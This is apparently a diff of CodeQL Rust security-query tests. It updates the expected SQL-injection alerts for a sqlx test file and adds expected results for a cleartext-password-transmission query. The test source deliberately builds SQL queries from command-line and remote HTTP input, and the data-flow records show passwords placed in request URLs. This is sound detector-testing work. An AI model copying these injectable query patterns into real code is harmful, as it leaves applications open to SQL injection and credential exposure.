 | sqlx.rs:67:30:67:52 | unsafe_query_4.as_str(...) | sqlx.rs:48:25:48:46 | ...::get | sqlx.rs:67:30:67:52 | unsafe_query_4.as_str(...) | This query depends on a $@. | sqlx.rs:48:25:48:46 | ...::get | user-provided value |
 | sqlx.rs:73:25:73:45 | safe_query_3.as_str(...) | sqlx.rs:48:25:48:46 | ...::get | sqlx.rs:73:25:73:45 | safe_query_3.as_str(...) | This query depends on a $@. | sqlx.rs:48:25:48:46 | ...::get | user-provided value |
+| sqlx.rs:74:25:74:47 | unsafe_query_1.as_str(...) | sqlx.rs:47:22:47:35 | ...::args | sqlx.rs:74:25:74:47 | unsafe_query_1.as_str(...) | This query depends on a $@. | sqlx.rs:47:22:47:35 | ...::args | user-provided value |
+| sqlx.rs:76:29:76:51 | unsafe_query_2.as_str(...) | sqlx.rs:48:25:48:46 | ...::get | sqlx.rs:76:29:76:51 | unsafe_query_2.as_str(...) | This query depends on a $@. | sqlx.rs:48:25:48:46 | ...::get | user-provided value |
 | sqlx.rs:78:29:78:51 | unsafe_query_4.as_str(...) | sqlx.rs:48:25:48:46 | ...::get | sqlx.rs:78:29:78:51 | unsafe_query_4.as_str(...) | This query depends on a $@. | sqlx.rs:48:25:48:46 | ...::get | user-provided value |
 edges
-| sqlx.rs:48:9:48:21 | remote_string | sqlx.rs:49:25:49:37 | remote_string | provenance |  |
+| sqlx.rs:47:9:47:18 | arg_string | sqlx.rs:53:27:53:36 | arg_string | provenance |  |
+| sqlx.rs:47:22:47:35 | ...::args | sqlx.rs:47:22:47:37 | ...::args(...) [element] | provenance | Src:MaD:1  |
+| sqlx.rs:47:22:47:37 | ...::args(...) [element] | sqlx.rs:47:22:47:44 | ... .nth(...) [Some] | provenance | MaD:10 |
+| sqlx.rs:47:22:47:44 | ... .nth(...) [Some] | sqlx.rs:47:22:47:77 | ... .unwrap_or(...) | provenance | MaD:5 |
+| sqlx.rs:47:22:47:77 | ... .unwrap_or(...) | sqlx.rs:47:9:47:18 | arg_string | provenance |  |
+| sqlx.rs:48:9:48:21 | remote_string | sqlx.rs:49:25:49:52 | remote_string.parse(...) [Ok] | provenance | MaD:8 |
+| sqlx.rs:48:9:48:21 | remote_string | sqlx.rs:54:27:54:39 | remote_string | provenance |  |
 | sqlx.rs:48:9:48:21 | remote_string | sqlx.rs:56:34:56:89 | MacroExpr | provenance |  |
-| sqlx.rs:48:25:48:46 | ...::get | sqlx.rs:48:25:48:69 | ...::get(...) [Ok] | provenance | Src:MaD:1  |
-| sqlx.rs:48:25:48:69 | ...::get(...) [Ok] | sqlx.rs:48:25:48:78 | ... .unwrap(...) | provenance | MaD:4 |
-| sqlx.rs:48:25:48:78 | ... .unwrap(...) | sqlx.rs:48:25:48:85 | ... .text(...) [Ok] | provenance | MaD:8 |
-| sqlx.rs:48:25:48:85 | ... .text(...) [Ok] | sqlx.rs:48:25:48:118 | ... .unwrap_or(...) | provenance | MaD:5 |
+| sqlx.rs:48:25:48:46 | ...::get | sqlx.rs:48:25:48:69 | ...::get(...) [Ok] | provenance | Src:MaD:2  |
+| sqlx.rs:48:25:48:69 | ...::get(...) [Ok] | sqlx.rs:48:25:48:78 | ... .unwrap(...) | provenance | MaD:6 |
+| sqlx.rs:48:25:48:78 | ... .unwrap(...) | sqlx.rs:48:25:48:85 | ... .text(...) [Ok] | provenance | MaD:11 |
+| sqlx.rs:48:25:48:85 | ... .text(...) [Ok] | sqlx.rs:48:25:48:118 | ... .unwrap_or(...) | provenance | MaD:7 |
 | sqlx.rs:48:25:48:118 | ... .unwrap_or(...) | sqlx.rs:48:9:48:21 | remote_string | provenance |  |
 | sqlx.rs:49:9:49:21 | remote_number | sqlx.rs:52:32:52:87 | MacroExpr | provenance |  |
-| sqlx.rs:49:25:49:37 | remote_string | sqlx.rs:49:25:49:52 | remote_string.parse(...) [Ok] | provenance | MaD:6 |
-| sqlx.rs:49:25:49:52 | remote_string.parse(...) [Ok] | sqlx.rs:49:25:49:65 | ... .unwrap_or(...) | provenance | MaD:5 |
+| sqlx.rs:49:25:49:52 | remote_string.parse(...) [Ok] | sqlx.rs:49:25:49:65 | ... .unwrap_or(...) | provenance | MaD:7 |
 | sqlx.rs:49:25:49:65 | ... .unwrap_or(...) | sqlx.rs:49:9:49:21 | remote_number | provenance |  |
-| sqlx.rs:52:9:52:20 | safe_query_3 | sqlx.rs:62:26:62:37 | safe_query_3 | provenance |  |
-| sqlx.rs:52:9:52:20 | safe_query_3 | sqlx.rs:73:25:73:36 | safe_query_3 | provenance |  |
+| sqlx.rs:52:9:52:20 | safe_query_3 | sqlx.rs:62:26:62:46 | safe_query_3.as_str(...) | provenance | MaD:3 |
+| sqlx.rs:52:9:52:20 | safe_query_3 | sqlx.rs:73:25:73:45 | safe_query_3.as_str(...) | provenance | MaD:3 |
 | sqlx.rs:52:24:52:88 | res | sqlx.rs:52:32:52:87 | { ... } | provenance |  |
 | sqlx.rs:52:32:52:87 | ...::format(...) | sqlx.rs:52:24:52:88 | res | provenance |  |
 | sqlx.rs:52:32:52:87 | ...::must_use(...) | sqlx.rs:52:9:52:20 | safe_query_3 | provenance |  |
-| sqlx.rs:52:32:52:87 | MacroExpr | sqlx.rs:52:32:52:87 | ...::format(...) | provenance | MaD:3 |
-| sqlx.rs:52:32:52:87 | { ... } | sqlx.rs:52:32:52:87 | ...::must_use(...) | provenance | MaD:7 |
-| sqlx.rs:56:9:56:22 | unsafe_query_4 | sqlx.rs:67:30:67:43 | unsafe_query_4 | provenance |  |
-| sqlx.rs:56:9:56:22 | unsafe_query_4 | sqlx.rs:78:29:78:42 | unsafe_query_4 | provenance |  |
+| sqlx.rs:52:32:52:87 | MacroExpr | sqlx.rs:52:32:52:87 | ...::format(...) | provenance | MaD:4 |
+| sqlx.rs:52:32:52:87 | { ... } | sqlx.rs:52:32:52:87 | ...::must_use(...) | provenance | MaD:9 |
+| sqlx.rs:53:9:53:22 | unsafe_query_1 [&ref] | sqlx.rs:63:26:63:39 | unsafe_query_1 [&ref] | provenance |  |
+| sqlx.rs:53:9:53:22 | unsafe_query_1 [&ref] | sqlx.rs:74:25:74:38 | unsafe_query_1 [&ref] | provenance |  |
+| sqlx.rs:53:26:53:36 | &arg_string [&ref] | sqlx.rs:53:9:53:22 | unsafe_query_1 [&ref] | provenance |  |
+| sqlx.rs:53:27:53:36 | arg_string | sqlx.rs:53:26:53:36 | &arg_string [&ref] | provenance |  |
+| sqlx.rs:54:9:54:22 | unsafe_query_2 [&ref] | sqlx.rs:65:30:65:43 | unsafe_query_2 [&ref] | provenance |  |
+| sqlx.rs:54:9:54:22 | unsafe_query_2 [&ref] | sqlx.rs:76:29:76:42 | unsafe_query_2 [&ref] | provenance |  |
+| sqlx.rs:54:26:54:39 | &remote_string [&ref] | sqlx.rs:54:9:54:22 | unsafe_query_2 [&ref] | provenance |  |
+| sqlx.rs:54:27:54:39 | remote_string | sqlx.rs:54:26:54:39 | &remote_string [&ref] | provenance |  |
+| sqlx.rs:56:9:56:22 | unsafe_query_4 | sqlx.rs:67:30:67:52 | unsafe_query_4.as_str(...) | provenance | MaD:3 |
+| sqlx.rs:56:9:56:22 | unsafe_query_4 | sqlx.rs:78:29:78:51 | unsafe_query_4.as_str(...) | provenance | MaD:3 |
 | sqlx.rs:56:26:56:90 | res | sqlx.rs:56:34:56:89 | { ... } | provenance |  |
 | sqlx.rs:56:34:56:89 | ...::format(...) | sqlx.rs:56:26:56:90 | res | provenance |  |
 | sqlx.rs:56:34:56:89 | ...::must_use(...) | sqlx.rs:56:9:56:22 | unsafe_query_4 | provenance |  |
-| sqlx.rs:56:34:56:89 | MacroExpr | sqlx.rs:56:34:56:89 | ...::format(...) | provenance | MaD:3 |
-| sqlx.rs:56:34:56:89 | { ... } | sqlx.rs:56:34:56:89 | ...::must_use(...) | provenance | MaD:7 |
-| sqlx.rs:62:26:62:37 | safe_query_3 | sqlx.rs:62:26:62:46 | safe_query_3.as_str(...) | provenance | MaD:2 |
-| sqlx.rs:67:30:67:43 | unsafe_query_4 | sqlx.rs:67:30:67:52 | unsafe_query_4.as_str(...) | provenance | MaD:2 |
-| sqlx.rs:73:25:73:36 | safe_query_3 | sqlx.rs:73:25:73:45 | safe_query_3.as_str(...) | provenance | MaD:2 |
-| sqlx.rs:78:29:78:42 | unsafe_query_4 | sqlx.rs:78:29:78:51 | unsafe_query_4.as_str(...) | provenance | MaD:2 |
+| sqlx.rs:56:34:56:89 | MacroExpr | sqlx.rs:56:34:56:89 | ...::format(...) | provenance | MaD:4 |
+| sqlx.rs:56:34:56:89 | { ... } | sqlx.rs:56:34:56:89 | ...::must_use(...) | provenance | MaD:9 |
+| sqlx.rs:63:26:63:39 | unsafe_query_1 [&ref] | sqlx.rs:63:26:63:48 | unsafe_query_1.as_str(...) | provenance | MaD:3 |
+| sqlx.rs:65:30:65:43 | unsafe_query_2 [&ref] | sqlx.rs:65:30:65:52 | unsafe_query_2.as_str(...) | provenance | MaD:3 |
+| sqlx.rs:74:25:74:38 | unsafe_query_1 [&ref] | sqlx.rs:74:25:74:47 | unsafe_query_1.as_str(...) | provenance | MaD:3 |
+| sqlx.rs:76:29:76:42 | unsafe_query_2 [&ref] | sqlx.rs:76:29:76:51 | unsafe_query_2.as_str(...) | provenance | MaD:3 |
 models
-| 1 | Source: repo:https://github.com/seanmonstar/reqwest:reqwest; crate::blocking::get; remote; ReturnValue.Field[crate::result::Result::Ok(0)] |
-| 2 | Summary: lang:alloc; <crate::string::String>::as_str; Argument[self]; ReturnValue; taint |
-| 3 | Summary: lang:alloc; crate::fmt::format; Argument[0]; ReturnValue; taint |
-| 4 | Summary: lang:core; <crate::result::Result>::unwrap; Argument[self].Field[crate::result::Result::Ok(0)]; ReturnValue; value |
-| 5 | Summary: lang:core; <crate::result::Result>::unwrap_or; Argument[self].Field[crate::result::Result::Ok(0)]; ReturnValue; value |
-| 6 | Summary: lang:core; <str>::parse; Argument[self]; ReturnValue.Field[crate::result::Result::Ok(0)]; taint |
-| 7 | Summary: lang:core; crate::hint::must_use; Argument[0]; ReturnValue; value |
-| 8 | Summary: repo:https://github.com/seanmonstar/reqwest:reqwest; <crate::blocking::response::Response>::text; Argument[self]; ReturnValue.Field[crate::result::Result::Ok(0)]; taint |
+| 1 | Source: lang:std; crate::env::args; command-line-source; ReturnValue.Element |
+| 2 | Source: repo:https://github.com/seanmonstar/reqwest:reqwest; crate::blocking::get; remote; ReturnValue.Field[crate::result::Result::Ok(0)] |
+| 3 | Summary: lang:alloc; <crate::string::String>::as_str; Argument[self]; ReturnValue; taint |
+| 4 | Summary: lang:alloc; crate::fmt::format; Argument[0]; ReturnValue; taint |
+| 5 | Summary: lang:core; <crate::option::Option>::unwrap_or; Argument[self].Field[crate::option::Option::Some(0)]; ReturnValue; value |
+| 6 | Summary: lang:core; <crate::result::Result>::unwrap; Argument[self].Field[crate::result::Result::Ok(0)]; ReturnValue; value |
+| 7 | Summary: lang:core; <crate::result::Result>::unwrap_or; Argument[self].Field[crate::result::Result::Ok(0)]; ReturnValue; value |
+| 8 | Summary: lang:core; <str>::parse; Argument[self]; ReturnValue.Field[crate::result::Result::Ok(0)]; taint |
+| 9 | Summary: lang:core; crate::hint::must_use; Argument[0]; ReturnValue; value |
+| 10 | Summary: lang:core; crate::iter::traits::iterator::Iterator::nth; Argument[self].Element; ReturnValue.Field[crate::option::Option::Some(0)]; value |
+| 11 | Summary: repo:https://github.com/seanmonstar/reqwest:reqwest; <crate::blocking::response::Response>::text; Argument[self]; ReturnValue.Field[crate::result::Result::Ok(0)]; taint |
 nodes
+| sqlx.rs:47:9:47:18 | arg_string | semmle.label | arg_string |
+| sqlx.rs:47:22:47:35 | ...::args | semmle.label | ...::args |
+| sqlx.rs:47:22:47:37 | ...::args(...) [element] | semmle.label | ...::args(...) [element] |
+| sqlx.rs:47:22:47:44 | ... .nth(...) [Some] | semmle.label | ... .nth(...) [Some] |
+| sqlx.rs:47:22:47:77 | ... .unwrap_or(...) | semmle.label | ... .unwrap_or(...) |
 | sqlx.rs:48:9:48:21 | remote_string | semmle.label | remote_string |
 | sqlx.rs:48:25:48:46 | ...::get | semmle.label | ...::get |
 | sqlx.rs:48:25:48:69 | ...::get(...) [Ok] | semmle.label | ...::get(...) [Ok] |
@@ -50,7 +75,6 @@ nodes
 | sqlx.rs:48:25:48:85 | ... .text(...) [Ok] | semmle.label | ... .text(...) [Ok] |
 | sqlx.rs:48:25:48:118 | ... .unwrap_or(...) | semmle.label | ... .unwrap_or(...) |
 | sqlx.rs:49:9:49:21 | remote_number | semmle.label | remote_number |
-| sqlx.rs:49:25:49:37 | remote_string | semmle.label | remote_string |
 | sqlx.rs:49:25:49:52 | remote_string.parse(...) [Ok] | semmle.label | remote_string.parse(...) [Ok] |
 | sqlx.rs:49:25:49:65 | ... .unwrap_or(...) | semmle.label | ... .unwrap_or(...) |
 | sqlx.rs:52:9:52:20 | safe_query_3 | semmle.label | safe_query_3 |
@@ -59,18 +83,28 @@ nodes
 | sqlx.rs:52:32:52:87 | ...::must_use(...) | semmle.label | ...::must_use(...) |
 | sqlx.rs:52:32:52:87 | MacroExpr | semmle.label | MacroExpr |
 | sqlx.rs:52:32:52:87 | { ... } | semmle.label | { ... } |
+| sqlx.rs:53:9:53:22 | unsafe_query_1 [&ref] | semmle.label | unsafe_query_1 [&ref] |
+| sqlx.rs:53:26:53:36 | &arg_string [&ref] | semmle.label | &arg_string [&ref] |
+| sqlx.rs:53:27:53:36 | arg_string | semmle.label | arg_string |
+| sqlx.rs:54:9:54:22 | unsafe_query_2 [&ref] | semmle.label | unsafe_query_2 [&ref] |
+| sqlx.rs:54:26:54:39 | &remote_string [&ref] | semmle.label | &remote_string [&ref] |
+| sqlx.rs:54:27:54:39 | remote_string | semmle.label | remote_string |
 | sqlx.rs:56:9:56:22 | unsafe_query_4 | semmle.label | unsafe_query_4 |
 | sqlx.rs:56:26:56:90 | res | semmle.label | res |
 | sqlx.rs:56:34:56:89 | ...::format(...) | semmle.label | ...::format(...) |
 | sqlx.rs:56:34:56:89 | ...::must_use(...) | semmle.label | ...::must_use(...) |
 | sqlx.rs:56:34:56:89 | MacroExpr | semmle.label | MacroExpr |
 | sqlx.rs:56:34:56:89 | { ... } | semmle.label | { ... } |
-| sqlx.rs:62:26:62:37 | safe_query_3 | semmle.label | safe_query_3 |
 | sqlx.rs:62:26:62:46 | safe_query_3.as_str(...) | semmle.label | safe_query_3.as_str(...) |
-| sqlx.rs:67:30:67:43 | unsafe_query_4 | semmle.label | unsafe_query_4 |
+| sqlx.rs:63:26:63:39 | unsafe_query_1 [&ref] | semmle.label | unsafe_query_1 [&ref] |
+| sqlx.rs:63:26:63:48 | unsafe_query_1.as_str(...) | semmle.label | unsafe_query_1.as_str(...) |
+| sqlx.rs:65:30:65:43 | unsafe_query_2 [&ref] | semmle.label | unsafe_query_2 [&ref] |
+| sqlx.rs:65:30:65:52 | unsafe_query_2.as_str(...) | semmle.label | unsafe_query_2.as_str(...) |
 | sqlx.rs:67:30:67:52 | unsafe_query_4.as_str(...) | semmle.label | unsafe_query_4.as_str(...) |
-| sqlx.rs:73:25:73:36 | safe_query_3 | semmle.label | safe_query_3 |
 | sqlx.rs:73:25:73:45 | safe_query_3.as_str(...) | semmle.label | safe_query_3.as_str(...) |
-| sqlx.rs:78:29:78:42 | unsafe_query_4 | semmle.label | unsafe_query_4 |
+| sqlx.rs:74:25:74:38 | unsafe_query_1 [&ref] | semmle.label | unsafe_query_1 [&ref] |
+| sqlx.rs:74:25:74:47 | unsafe_query_1.as_str(...) | semmle.label | unsafe_query_1.as_str(...) |
+| sqlx.rs:76:29:76:42 | unsafe_query_2 [&ref] | semmle.label | unsafe_query_2 [&ref] |
+| sqlx.rs:76:29:76:51 | unsafe_query_2.as_str(...) | semmle.label | unsafe_query_2.as_str(...) |
 | sqlx.rs:78:29:78:51 | unsafe_query_4.as_str(...) | semmle.label | unsafe_query_4.as_str(...) |
 subpaths
diff --git a/rust/ql/test/query-tests/security/CWE-089/sqlx.rs b/rust/ql/test/query-tests/security/CWE-089/sqlx.rs
index f819ea3a781e..f051cf49e08d 100644
--- a/rust/ql/test/query-tests/security/CWE-089/sqlx.rs
+++ b/rust/ql/test/query-tests/security/CWE-089/sqlx.rs
@@ -44,7 +44,7 @@ async fn test_sqlx_mysql(url: &str, enable_remote: bool) -> Result<(), sqlx::Err
 
     // construct queries (with extra variants)
     let const_string = String::from("Alice");
-    let arg_string = std::env::args().nth(1).unwrap_or(String::from("Alice")); // $ MISSING: Source=args1
+    let arg_string = std::env::args().nth(1).unwrap_or(String::from("Alice")); // $ Source=args1
     let remote_string = reqwest::blocking::get("http://example.com/").unwrap().text().unwrap_or(String::from("Alice")); // $ Source=remote1
     let remote_number = remote_string.parse::<i32>().unwrap_or(0);
     let safe_query_1 = String::from("SELECT * FROM people WHERE firstname='Alice'");
@@ -60,9 +60,9 @@ async fn test_sqlx_mysql(url: &str, enable_remote: bool) -> Result<(), sqlx::Err
     let _ = conn.execute(safe_query_1.as_str()).await?; // $ sql-sink
     let _ = conn.execute(safe_query_2.as_str()).await?; // $ sql-sink
     let _ = conn.execute(safe_query_3.as_str()).await?; // $ sql-sink SPURIOUS: Alert[rust/sql-injection]=remote1
-    let _ = conn.execute(unsafe_query_1.as_str()).await?; // $ sql-sink MISSING: Alert[rust/sql-injection]=args1
+    let _ = conn.execute(unsafe_query_1.as_str()).await?; // $ sql-sink Alert[rust/sql-injection]=args1
     if enable_remote {
-        let _ = conn.execute(unsafe_query_2.as_str()).await?; // $ sql-sink MISSING: Alert[rust/sql-injection]=remote1
+        let _ = conn.execute(unsafe_query_2.as_str()).await?; // $ sql-sink Alert[rust/sql-injection]=remote1
         let _ = conn.execute(unsafe_query_3.as_str()).await?; // $ sql-sink MISSING: Alert[rust/sql-injection]=remote1
         let _ = conn.execute(unsafe_query_4.as_str()).await?; // $ sql-sink Alert[rust/sql-injection]=remote1
     }
@@ -71,9 +71,9 @@ async fn test_sqlx_mysql(url: &str, enable_remote: bool) -> Result<(), sqlx::Err
     let _ = sqlx::query(safe_query_1.as_str()).execute(&pool).await?; // $ sql-sink
     let _ = sqlx::query(safe_query_2.as_str()).execute(&pool).await?; // $ sql-sink
     let _ = sqlx::query(safe_query_3.as_str()).execute(&pool).await?; // $ sql-sink SPURIOUS: Alert[rust/sql-injection]=remote1
-    let _ = sqlx::query(unsafe_query_1.as_str()).execute(&pool).await?; // $ sql-sink MISSING: Alert[rust/sql-injection][rust/sql-injection]=args1
+    let _ = sqlx::query(unsafe_query_1.as_str()).execute(&pool).await?; // $ sql-sink Alert[rust/sql-injection]=args1
     if enable_remote {
-        let _ = sqlx::query(unsafe_query_2.as_str()).execute(&pool).await?; // $ sql-sink MISSING: Alert[rust/sql-injection]=remote1
+        let _ = sqlx::query(unsafe_query_2.as_str()).execute(&pool).await?; // $ sql-sink Alert[rust/sql-injection]=remote1
         let _ = sqlx::query(unsafe_query_3.as_str()).execute(&pool).await?; // $ sql-sink MISSING: Alert[rust/sql-injection]=remote1
         let _ = sqlx::query(unsafe_query_4.as_str()).execute(&pool).await?; // $ sql-sink Alert[rust/sql-injection]=remote1
     }
diff --git a/rust/ql/test/query-tests/security/CWE-311/CleartextTransmission.expected b/rust/ql/test/query-tests/security/CWE-311/CleartextTransmission.expected
new file mode 100644
index 000000000000..763558a9c16c
--- /dev/null
+++ b/rust/ql/test/query-tests/security/CWE-311/CleartextTransmission.expected
@@ -0,0 +1,113 @@
+#select
+| main.rs:7:5:7:26 | ...::get | main.rs:6:50:6:57 | password | main.rs:7:5:7:26 | ...::get | The operation '...::get', transmits data which may contain unencrypted sensitive data from $@. | main.rs:6:50:6:57 | password | password |
+| main.rs:14:5:14:26 | ...::get | main.rs:12:50:12:57 | password | main.rs:14:5:14:26 | ...::get | The operation '...::get', transmits data which may contain unencrypted sensitive data from $@. | main.rs:12:50:12:57 | password | password |
+| main.rs:21:12:21:15 | post | main.rs:19:50:19:57 | password | main.rs:21:12:21:15 | post | The operation 'post', transmits data which may contain unencrypted sensitive data from $@. | main.rs:19:50:19:57 | password | password |
+| main.rs:28:12:28:18 | request | main.rs:26:50:26:57 | password | main.rs:28:12:28:18 | request | The operation 'request', transmits data which may contain unencrypted sensitive data from $@. | main.rs:26:50:26:57 | password | password |
+| main.rs:35:12:35:18 | request | main.rs:33:50:33:57 | password | main.rs:35:12:35:18 | request | The operation 'request', transmits data which may contain unencrypted sensitive data from $@. | main.rs:33:50:33:57 | password | password |
+edges
+| main.rs:6:9:6:11 | url | main.rs:7:28:7:30 | url | provenance |  |
+| main.rs:6:15:6:58 | res | main.rs:6:23:6:57 | { ... } | provenance |  |
+| main.rs:6:23:6:57 | ...::format(...) | main.rs:6:15:6:58 | res | provenance |  |
+| main.rs:6:23:6:57 | ...::must_use(...) | main.rs:6:9:6:11 | url | provenance |  |
+| main.rs:6:23:6:57 | MacroExpr | main.rs:6:23:6:57 | ...::format(...) | provenance | MaD:5 |
+| main.rs:6:23:6:57 | { ... } | main.rs:6:23:6:57 | ...::must_use(...) | provenance | MaD:7 |
+| main.rs:6:50:6:57 | password | main.rs:6:23:6:57 | MacroExpr | provenance |  |
+| main.rs:7:28:7:30 | url | main.rs:7:5:7:26 | ...::get | provenance | MaD:4 Sink:MaD:4 |
+| main.rs:12:9:12:15 | address | main.rs:13:27:13:33 | address | provenance |  |
+| main.rs:12:19:12:60 | res | main.rs:12:27:12:59 | { ... } | provenance |  |
+| main.rs:12:27:12:59 | ...::format(...) | main.rs:12:19:12:60 | res | provenance |  |
+| main.rs:12:27:12:59 | ...::must_use(...) | main.rs:12:9:12:15 | address | provenance |  |
+| main.rs:12:27:12:59 | MacroExpr | main.rs:12:27:12:59 | ...::format(...) | provenance | MaD:5 |
+| main.rs:12:27:12:59 | { ... } | main.rs:12:27:12:59 | ...::must_use(...) | provenance | MaD:7 |
+| main.rs:12:50:12:57 | password | main.rs:12:27:12:59 | MacroExpr | provenance |  |
+| main.rs:13:9:13:11 | url | main.rs:14:28:14:30 | url | provenance |  |
+| main.rs:13:15:13:34 | ...::parse(...) [Ok] | main.rs:13:15:13:43 | ... .unwrap(...) | provenance | MaD:6 |
+| main.rs:13:15:13:43 | ... .unwrap(...) | main.rs:13:9:13:11 | url | provenance |  |
+| main.rs:13:26:13:33 | &address [&ref] | main.rs:13:15:13:34 | ...::parse(...) [Ok] | provenance | MaD:8 |
+| main.rs:13:27:13:33 | address | main.rs:13:26:13:33 | &address [&ref] | provenance |  |
+| main.rs:14:28:14:30 | url | main.rs:14:5:14:26 | ...::get | provenance | MaD:4 Sink:MaD:4 |
+| main.rs:19:9:19:11 | url | main.rs:21:17:21:19 | url | provenance |  |
+| main.rs:19:15:19:58 | res | main.rs:19:23:19:57 | { ... } | provenance |  |
+| main.rs:19:23:19:57 | ...::format(...) | main.rs:19:15:19:58 | res | provenance |  |
+| main.rs:19:23:19:57 | ...::must_use(...) | main.rs:19:9:19:11 | url | provenance |  |
+| main.rs:19:23:19:57 | MacroExpr | main.rs:19:23:19:57 | ...::format(...) | provenance | MaD:5 |
+| main.rs:19:23:19:57 | { ... } | main.rs:19:23:19:57 | ...::must_use(...) | provenance | MaD:7 |
+| main.rs:19:50:19:57 | password | main.rs:19:23:19:57 | MacroExpr | provenance |  |
+| main.rs:21:17:21:19 | url | main.rs:21:12:21:15 | post | provenance | MaD:1 Sink:MaD:1 |
+| main.rs:26:9:26:11 | url | main.rs:28:33:28:35 | url | provenance |  |
+| main.rs:26:15:26:58 | res | main.rs:26:23:26:57 | { ... } | provenance |  |
+| main.rs:26:23:26:57 | ...::format(...) | main.rs:26:15:26:58 | res | provenance |  |
+| main.rs:26:23:26:57 | ...::must_use(...) | main.rs:26:9:26:11 | url | provenance |  |
+| main.rs:26:23:26:57 | MacroExpr | main.rs:26:23:26:57 | ...::format(...) | provenance | MaD:5 |
+| main.rs:26:23:26:57 | { ... } | main.rs:26:23:26:57 | ...::must_use(...) | provenance | MaD:7 |
+| main.rs:26:50:26:57 | password | main.rs:26:23:26:57 | MacroExpr | provenance |  |
+| main.rs:28:33:28:35 | url | main.rs:28:12:28:18 | request | provenance | MaD:3 Sink:MaD:3 |
+| main.rs:33:9:33:11 | url | main.rs:35:33:35:35 | url | provenance |  |
+| main.rs:33:15:33:58 | res | main.rs:33:23:33:57 | { ... } | provenance |  |
+| main.rs:33:23:33:57 | ...::format(...) | main.rs:33:15:33:58 | res | provenance |  |
+| main.rs:33:23:33:57 | ...::must_use(...) | main.rs:33:9:33:11 | url | provenance |  |
+| main.rs:33:23:33:57 | MacroExpr | main.rs:33:23:33:57 | ...::format(...) | provenance | MaD:5 |
+| main.rs:33:23:33:57 | { ... } | main.rs:33:23:33:57 | ...::must_use(...) | provenance | MaD:7 |
+| main.rs:33:50:33:57 | password | main.rs:33:23:33:57 | MacroExpr | provenance |  |
+| main.rs:35:33:35:35 | url | main.rs:35:12:35:18 | request | provenance | MaD:2 Sink:MaD:2 |
+models
+| 1 | Sink: repo:https://github.com/seanmonstar/reqwest:reqwest; <crate::async_impl::client::Client>::post; transmission; Argument[0] |
+| 2 | Sink: repo:https://github.com/seanmonstar/reqwest:reqwest; <crate::async_impl::client::Client>::request; transmission; Argument[1] |
+| 3 | Sink: repo:https://github.com/seanmonstar/reqwest:reqwest; <crate::blocking::client::Client>::request; transmission; Argument[1] |
+| 4 | Sink: repo:https://github.com/seanmonstar/reqwest:reqwest; crate::blocking::get; transmission; Argument[0] |
+| 5 | Summary: lang:alloc; crate::fmt::format; Argument[0]; ReturnValue; taint |
+| 6 | Summary: lang:core; <crate::result::Result>::unwrap; Argument[self].Field[crate::result::Result::Ok(0)]; ReturnValue; value |
+| 7 | Summary: lang:core; crate::hint::must_use; Argument[0]; ReturnValue; value |
+| 8 | Summary: repo:https://github.com/servo/rust-url:url; <crate::Url>::parse; Argument[0].Reference; ReturnValue.Field[crate::result::Result::Ok(0)]; taint |
+nodes
+| main.rs:6:9:6:11 | url | semmle.label | url |
+| main.rs:6:15:6:58 | res | semmle.label | res |
+| main.rs:6:23:6:57 | ...::format(...) | semmle.label | ...::format(...) |
+| main.rs:6:23:6:57 | ...::must_use(...) | semmle.label | ...::must_use(...) |
+| main.rs:6:23:6:57 | MacroExpr | semmle.label | MacroExpr |
+| main.rs:6:23:6:57 | { ... } | semmle.label | { ... } |
+| main.rs:6:50:6:57 | password | semmle.label | password |
+| main.rs:7:5:7:26 | ...::get | semmle.label | ...::get |
+| main.rs:7:28:7:30 | url | semmle.label | url |
+| main.rs:12:9:12:15 | address | semmle.label | address |
+| main.rs:12:19:12:60 | res | semmle.label | res |
+| main.rs:12:27:12:59 | ...::format(...) | semmle.label | ...::format(...) |
+| main.rs:12:27:12:59 | ...::must_use(...) | semmle.label | ...::must_use(...) |
+| main.rs:12:27:12:59 | MacroExpr | semmle.label | MacroExpr |
+| main.rs:12:27:12:59 | { ... } | semmle.label | { ... } |
+| main.rs:12:50:12:57 | password | semmle.label | password |
+| main.rs:13:9:13:11 | url | semmle.label | url |
+| main.rs:13:15:13:34 | ...::parse(...) [Ok] | semmle.label | ...::parse(...) [Ok] |
+| main.rs:13:15:13:43 | ... .unwrap(...) | semmle.label | ... .unwrap(...) |
+| main.rs:13:26:13:33 | &address [&ref] | semmle.label | &address [&ref] |
+| main.rs:13:27:13:33 | address | semmle.label | address |
+| main.rs:14:5:14:26 | ...::get | semmle.label | ...::get |
+| main.rs:14:28:14:30 | url | semmle.label | url |
+| main.rs:19:9:19:11 | url | semmle.label | url |
+| main.rs:19:15:19:58 | res | semmle.label | res |
+| main.rs:19:23:19:57 | ...::format(...) | semmle.label | ...::format(...) |
+| main.rs:19:23:19:57 | ...::must_use(...) | semmle.label | ...::must_use(...) |
+| main.rs:19:23:19:57 | MacroExpr | semmle.label | MacroExpr |
+| main.rs:19:23:19:57 | { ... } | semmle.label | { ... } |
+| main.rs:19:50:19:57 | password | semmle.label | password |
+| main.rs:21:12:21:15 | post | semmle.label | post |
+| main.rs:21:17:21:19 | url | semmle.label | url |
+| main.rs:26:9:26:11 | url | semmle.label | url |
+| main.rs:26:15:26:58 | res | semmle.label | res |
+| main.rs:26:23:26:57 | ...::format(...) | semmle.label | ...::format(...) |
+| main.rs:26:23:26:57 | ...::must_use(...) | semmle.label | ...::must_use(...) |
+| main.rs:26:23:26:57 | MacroExpr | semmle.label | MacroExpr |
+| main.rs:26:23:26:57 | { ... } | semmle.label | { ... } |
+| main.rs:26:50:26:57 | password | semmle.label | password |
+| main.rs:28:12:28:18 | request | semmle.label | request |
+| main.rs:28:33:28:35 | url | semmle.label | url |
+| main.rs:33:9:33:11 | url | semmle.label | url |
+| main.rs:33:15:33:58 | res | semmle.label | res |
+| main.rs:33:23:33:57 | ...::format(...) | semmle.label | ...::format(...) |
+| main.rs:33:23:33:57 | ...::must_use(...) | semmle.label | ...::must_use(...) |
+| main.rs:33:23:33:57 | MacroExpr | semmle.label | MacroExpr |
+| main.rs:33:23:33:57 | { ... } | semmle.label | { ... } |
+| main.rs:33:50:33:57 | password | semmle.label | password |
+| main.rs:35:12:35:18 | request | semmle.label | request |
+| main.rs:35:33:35:35 | url | semmle.label | url |
+subpaths
diff --git a/rust/ql/test/query-tests/security/CWE-311/CleartextTransmission.qlref b/rust/ql/test/query-tests/security/CWE-311/CleartextTransmission.qlref
new file mode 100644
index 000000000000..a674e4002aab
--- /dev/null
+++ b/rust/ql/test/query-tests/security/CWE-311/CleartextTransmission.qlref
@@ -0,0 +1,4 @@
+query: queries/security/CWE-311/CleartextTransmission.ql
+postprocess:
+ - utils/test/PrettyPrintModels.ql
